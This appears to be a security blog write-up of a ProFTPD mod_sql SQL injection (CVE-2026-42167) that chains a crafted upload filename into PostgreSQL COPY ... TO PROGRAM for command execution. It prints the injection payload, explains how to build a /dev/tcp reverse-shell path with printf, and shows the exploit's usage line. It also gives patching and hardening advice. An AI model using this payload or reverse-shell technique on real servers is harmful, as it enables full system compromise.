Security researcher just dropped a working exploit for a vulnerability in ProFTPD. It's a post-auth SQL injection that leads to remote code execution. Basically, if an attacker has valid FTP credentials, they can run any command on your server.

The flaw is tracked as CVE-2026-42167. It affects ProFTPD servers using the mod_sql module with a PostgreSQL backend. And it's bad.

Let me break it down.

Quick Summary

What's the Problem?

ProFTPD's mod_sql logs FTP activity. It takes user-supplied data and drops it into SQL queries. The escaping function, is_escaped_text(), has a flaw.

If a value starts AND ends with a single quote and has no internal single quotes, the function treats it as "already escaped." It passes it straight into the query. No escaping. No sanitization. Just raw SQL.

An attacker uploads a file with a carefully crafted filename. The filename breaks out of the logging INSERT statement and stacks a second SQL statement. With a PostgreSQL backend running as a superuser, that second statement can be COPY ... TO PROGRAM. That runs arbitrary commands.

The Payload:

', null, null); COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$; --'

The Result:

The query becomes:

INSERT INTO xfer_log VALUES('', null, null);
COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$;
--', '<user>', now())

The first INSERT gets closed. The COPY runs the attacker's command. The rest is commented out. Clean and effective.

The Gotcha: Why Most PoCs Fail

Here's the thing. FTP doesn't allow forward slashes in filenames. But the reverse shell makes use of "/dev/tcp/<host>/<port>". Therefore, the slash needs to be generated dynamically using octal escape in printf.

The Common Mistake:

Most proofs-of-concept have the path defined as a single printf format string:

printf "\57dev\57tcp\57<host>\57<port>"    # BROKEN

printf will consume up to three octal digits following the backslash, and the next digit if it's between 0 and 7, it gets swallowed.

A host of 10.10.14.7 becomes /dev/tcpy0.10.14.7. The leading '1' got eaten. The shell never connects. This is why many PoCs don't work.

The Fix (used in this PoC):

printf "\57dev\57tcp\57%s\57%s" "<host>" "<port>"    # CORRECT

Four literal slashes in the format string. Each followed by a non-octal character. The host and port are passed as arguments. No corruption possible.

The Exploit Features

The published PoC is solid. It has some nice features:

• Upgrades the connect-back to a PTY with job control
• Handles terminal resizing
• Supports IPv6 (with fallback to IPv4)
• 30-second timeout for the connect-back
• Sends the STOR in a background thread

Usage:

python3 exploit.py --host <ftp-host> --port 21 \
    --user <user> --password <pass> \
    --shell-host <your-ip> --shell-port 4444

Who's Vulnerable?

The Good News:

• Valid credentials are required (post-auth)
• Not a pre-auth vulnerability

The Bad News:

• If you meet these conditions, it's critical
• RCE on the PostgreSQL server
• Full system compromise

What Administrators Should Do

1. Patch ProFTPD

Use the latest patches. Visit the website of the ProFTPD project to apply the security patches.

2. PostgreSQL Privileges

The PostgreSQL user that is used by mod_sql must not have superuser privileges. The command COPY ... TO PROGRAM requires superuser privileges.

3. Look for FTP log files

Watch out for any strange file names under STOR which use the words COPY, SELECT or TO PROGRAM.

4. User permissions

Limit permissions to upload files. Use chroot jail.

5. Consider Alternative Authentication

Do you really need mod_sql? Consider using system authentication instead.

The Bottom Line

ProFTPD's mod_sql has a critical SQL injection vulnerability. A crafted filename can chain to PostgreSQL's COPY ... TO PROGRAM for full RCE.

What You Need to Know:

What Needs to Be Done:

• ProFTPD update
• Restriction of superuser privileges in PostgreSQL
• FTP logging
• User permissions restriction

FAQ Section

CVE-2026-42167: What Is It?

The CVE-2026-42167 is a critical vulnerability that exists in mod_sql of ProFTPD and allows attackers to run arbitrary commands via SQL injections

How Does the Attack work?

A crafted STOR filename breaks out of the logging INSERT statement and stacks a PostgreSQL COPY ... TO PROGRAM command, which executes arbitrary OS commands.

Affected versions?

ProFTPD that utilizes mod_sql module with PostgreSQL database where the database role is a superuser.

Authentication needed?

Yes. This is a post-authentication bug. An attacker requires valid FTP user credentials to exploit this vulnerability.

Recommendations?

Patching ProFTPD as soon as possible, limit privileges of PostgreSQL superusers, check FTP logs.

Source: Exploit DB